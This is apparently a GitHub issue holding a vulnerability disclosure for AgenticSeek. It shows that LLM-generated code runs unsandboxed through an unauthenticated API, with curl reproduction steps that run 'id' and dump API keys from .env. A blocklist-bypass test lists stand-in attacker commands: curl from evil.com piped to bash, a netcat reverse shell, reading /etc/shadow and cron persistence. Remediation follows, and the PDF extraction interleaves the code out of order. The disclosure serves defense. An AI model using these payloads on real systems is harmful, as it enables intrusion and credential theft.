
August829 / CVEP Public

Code Issues 32 Pull requests Actions Projects Security and quality

58ead8e7e02026023 #29

New issue

Open

August829 opened 2 weeks ago Owner

CVE Report: Remote Code Execution via
Unsandboxed LLM-Generated Code Execution

Product: AgenticSeek
Repository: https://github.com/Fosowl/agenticSeek
Affected Version: 0.1.0
Severity: Critical
CVSS v3.1 Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-94 (Improper Control of Generation of Code), CWE-78 (OS Command Injection), CWE-184
(Incomplete List of Disallowed Inputs)
Affected Components:

sources/tools/PyInterpreter.py , lines 22–57 (Python exec()  with full os / sys  access)

sources/tools/BashInterpreter.py , lines 35–71 ( subprocess.Popen  with shell=True )

sources/tools/C_Interpreter.py , lines 21–70 (unsandboxed compiled binary execution)

sources/tools/GoInterpreter.py , lines 21–71 (unsandboxed compiled binary execution)

sources/tools/safety.py , lines 4–88 (bypassable blocklist)

sources/tools/tools.py , line 44 ( safe_mode = False )

Description

AgenticSeek executes LLM-generated code on the host system without any sandboxing, through multiple
interpreters triggered by a single unauthenticated HTTP request to POST /query . The entire attack surface

consists of:
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1. Python exec() — CWE-94 (Code Injection)
The PyInterpreter.execute()  method uses Python's built-in exec()  to run arbitrary LLM-generated

code. The execution context ( global_vars ) explicitly includes __builtins__ , os , and sys  modules,

granting unrestricted access to the host filesystem, environment variables, network, and process control.
There is no timeout, no resource limit, and no sandbox.

2. Bash shell=True — CWE-78 (OS Command Injection)
The BashInterpreter.execute()  method passes LLM-generated commands to subprocess.Popen()  with

shell=True , enabling arbitrary OS command execution via direct string interpolation.

3. C/Go/Java compilation — CWE-94 (Code Injection)
The C, Go, and Java interpreters compile LLM-generated source code with system compilers ( gcc , go 

build , javac ) and execute the resulting binaries with the full privileges of the parent process — no

seccomp, no chroot, no network isolation.

4. Bypassable safety blocklist — CWE-184 (Incomplete Blocklist)
The only safety mechanism ( safe_mode  + blocklist) is disabled by default ( safe_mode = False ). Even if

manually enabled, the blocklist is fatally flawed:

Incomplete: curl , wget , nc , python3 , bash -c , crontab , ssh  are all missing

String concatenation bug: A missing comma on lines 31-32 of safety.py  merges "route"  and "--

force"  into the non-functional "route--force"

Substring matching only: Trivially bypassable via path-based invocation or obfuscation

Vulnerable Code

Python exec() with full system access ( sources/tools/PyInterpreter.py:31-41 ):

Bash command execution with shell=True ( sources/tools/BashInterpreter.py:44-58 ):

global_vars = {

    '__builtins__': __builtins__,   # Full builtins — import, eval, compile, open...

    'os': os,                        # Full OS module — file ops, env vars, system()

    'sys': sys,                      # Full system module — path, exit, modules

    '__name__': '__main__'

}

code = '\n\n'.join(codes)

try:

    buffer = exec(code, global_vars)   # Arbitrary code execution — no sandbox

command = f"cd {self.work_dir} && {command}"  # Direct string interpolation, no escaping

if self.safe_mode and is_any_unsafe(commands):  # safe_mode defaults to False

    return "..."

process = subprocess.Popen(

    command,

    shell=True,           # Shell injection vector

    stdout=subprocess.PIPE,

4/5/26, 5:23 PM 58ead8e7e02026023 · Issue #29 · August829/CVEP

https://github.com/August829/CVEP/issues/29 2/9



C/Go unsandboxed compilation and execution ( sources/tools/C_Interpreter.py:39-56 ):

Safety blocklist — missing comma bug ( sources/tools/safety.py:30-34 ):

safe_mode disabled by default ( sources/tools/tools.py:44 ):

Attack Vector / Data Flow

Detailed Reproduction Steps

Prerequisites

AgenticSeek cloned and dependencies installed per README

api.py  running on default port 7777 (no modifications to source code)

    stderr=subprocess.STDOUT,

    universal_newlines=True

)

compile_command = ["gcc", source_file, "-o", exec_file]

subprocess.run(compile_command, capture_output=True, text=True, timeout=60)

run_command = [exec_file]

subprocess.run(run_command, capture_output=True, text=True, timeout=120)

# No sandbox, no seccomp, no chroot, no network isolation

    "chroot",       # Change root directory

    "route"         # Routing table management     ← NO COMMA

    "--force",     # Force flag for many commands   ← concatenated into "route--force"

    "rebase",

    "git"

self.safe_mode = False  # Blocklist never invoked

HTTP POST /query (unauthenticated user input, no CSRF protection)

  → api.py:process_query()

    → interaction.think()

      → router.select_agent()  → CoderAgent / FileAgent

        → agent.process()

          → agent.execute_modules()

            → PyInterpreter.execute()   → exec(code, {os, sys, __builtins__})  ← SINK

            → BashInterpreter.execute() → subprocess.Popen(cmd, shell=True)    ← SINK

            → CInterpreter.execute()    → gcc + run binary                     ← SINK
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No authentication credentials required

Step 1: Confirm the API is reachable without authentication

Observed Output:

This confirms the API is running and accepts unauthenticated requests.

Step 2: Send RCE payload — execute system command via POST /query

Note: The LLM needs time to process the prompt and generate code. The --max-time 600  flag allows

up to 10 minutes for a response. Actual time depends on LLM backend speed.

Observed Output (JSON response body):

Step 3: Verify command execution in the response

In the JSON response from Step 2, examine the blocks.0.feedback  field. It contains:

curl -s http://localhost:7777/health

{"status":"healthy","version":"0.1.0"}

curl -s -X POST http://localhost:7777/query \

  -H "Content-Type: application/json" \

  -d '{"query":"write and run a python script that prints the output of os.popen(\"id\").read

  --max-time 600

{

  "done": "true",

  "answer": "block:0\n\nThis script executes the `id` command using Python's `os.popen` funct

  "agent_name": "coder",

  "success": "True",

  "blocks": {

    "0": {

      "block": "\nimport os\n\n# Execute the command and capture its output\noutput = os.pope

      "feedback": "[success] Execution success, code output:\nuid=502(xxx) gid=20(staff) grou

      "success": true,

      "tool_type": "python"

    }

  }

}

uid=502(xxx) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
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This is the output of the id  system command, confirming that:

1. The LLM generated Python code containing os.popen("id")

2. The server executed the code via exec()  (PyInterpreter) with no sandbox

3. The system command output was returned in the HTTP response to the unauthenticated caller

The attacker has achieved Remote Code Execution through a single unauthenticated HTTP request.

Step 4: Send RCE payload — exfiltrate API keys from .env file

Observed Output (excerpt from blocks.feedback ):

curl -s -X POST http://localhost:7777/query \

  -H "Content-Type: application/json" \

  -d '{"query":"write python to read the .env file and print lines containing KEY"}' \

  --max-time 600

[success] Execution success, code output:

OPENAI_API_KEY='4404xxxxxxxx2ad1c5fxxxxxxxxxxxxe4395913f7xxxxxxxxef64'

DEEPSEEK_API_KEY='xxxxx'

OPENROUTER_API_KEY='xxxxx'

TOGETHER_API_KEY='xxxxx'

GOOGLE_API_KEY='xxxxx'

ANTHROPIC_API_KEY='xxxxx'

MINIMAX_API_KEY='xxxxx'
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This confirms that exec()  has full filesystem access and can read sensitive credentials from the .env  file,

returning them in the HTTP response.

Step 5: Verify the safety blocklist is bypassable (even if safe_mode were
enabled)

Observed Output:

cd /Users/xxx/Downloads/CVE/agenticSeek-main

source .venv/bin/activate

python3 -c "

from sources.tools.safety import is_unsafe, unsafe_commands_unix

# Dangerous commands that BYPASS the blocklist

tests = [

    ('curl http://evil.com/shell.sh | bash', 'remote code download+execution'),

    ('wget http://evil.com/mal -O /tmp/m',   'malware download'),

    ('nc -e /bin/sh 10.0.0.1 4444',          'reverse shell via netcat'),

    ('python3 -c \"import os;os.system(\\\"id\\\")\"', 'python code execution'),

    ('bash -c \"cat /etc/shadow\"',           'credential theft via bash -c'),

    ('crontab -e',                            'persistence via cron'),

]

print('=== Dangerous commands that BYPASS the blocklist ===')

bypassed = 0

for cmd, desc in tests:

    result = is_unsafe(cmd)

    if not result:

        bypassed += 1

        print(f'  [BYPASS] is_unsafe({repr(cmd)}) = {result}  [{desc}]')

print(f'\n{bypassed}/{len(tests)} dangerous commands bypass the safety check')

# Demonstrate the string concatenation bug

print('\n=== String concatenation bug in safety.py ===')

for item in unsafe_commands_unix:

    if 'route' in item or 'force' in item:

        print(f'  Found list entry: {repr(item)}  (should be two separate entries)')

"

=== Dangerous commands that BYPASS the blocklist ===

  [BYPASS] is_unsafe('curl http://evil.com/shell.sh | bash') = False  [remote code 

download+execution]

  [BYPASS] is_unsafe('wget http://evil.com/mal -O /tmp/m') = False  [malware download]

  [BYPASS] is_unsafe('nc -e /bin/sh 10.0.0.1 4444') = False  [reverse shell via netcat]

  [BYPASS] is_unsafe('python3 -c "import os;os.system("id")"') = False  [python code 

execution]

  [BYPASS] is_unsafe('bash -c "cat /etc/shadow"') = False  [credential theft via bash -c]

  [BYPASS] is_unsafe('crontab -e') = False  [persistence via cron]

6/6 dangerous commands bypass the safety check
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This confirms that even if safe_mode  were manually enabled, the blocklist fails to catch 6 out of 6 critical
attack vectors including reverse shells, malware downloads, and credential theft.

Impact

Complete system compromise: Arbitrary command execution with the privileges of the running
process

Sensitive data theft: API keys, SSH keys, credentials readable via exec()  with os  module

Data exfiltration: Read any file accessible to the process user and return it in HTTP response

Lateral movement: Pivot to other systems on the network via reverse shell or SSH

Persistence: Install backdoors, modify cron jobs, create users

Denial of service: Fork bombs, infinite loops — no resource limits on exec()  or subprocess

Supply chain risk: Indirect prompt injection via web content can trigger code execution without direct
user intent

Remediation

1. Replace exec()  with subprocess-based execution — run LLM-generated code in a separate

process with restricted permissions and empty environment ( env={} ).

2. Never use shell=True  with untrusted input. Use subprocess.run()  with argument lists.

3. Sandbox all code execution — use Docker containers with --network=none , read-only filesystem,

seccomp profiles, and resource limits (cgroups).

4. Enable safe_mode  by default — change self.safe_mode = False  to True  in

sources/tools/tools.py:44 .

5. Fix the string concatenation bug — add the missing comma after "route"  on line 31 of

sources/tools/safety.py .

6. Replace the blocklist with an allowlist — only permit known-safe commands instead of trying to
enumerate dangerous ones.

7. Require explicit user confirmation before executing any generated code.

8. Restrict exec()  globals — remove os , sys , and full __builtins__  from the execution context.

=== String concatenation bug in safety.py ===

  Found list entry: 'route--force'  (should be two separate entries)

# Remediated: subprocess-based execution with sandbox

import tempfile, subprocess

def execute(self, codes, safety=False):

    code = '\n\n'.join(codes)

    with tempfile.NamedTemporaryFile(suffix='.py', mode='w', delete=False) as f:

        f.write(code)

        f.flush()

        result = subprocess.run(

            ['python3', f.name],
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Metadata

No one assigned

Assignees

No labels

Labels

No projects

Projects

No milestone

Milestone

None yet

Relationships

No branches or pull requests

Development

Code with agent mode

Participants

            capture_output=True, text=True,

            timeout=30,

            cwd=self.work_dir,

            env={}  # Empty env — no API keys exposed

        )

    return result.stdout + result.stderr

Sign up for free  to join this conversation on GitHub. Already have an account? Sign in to comment
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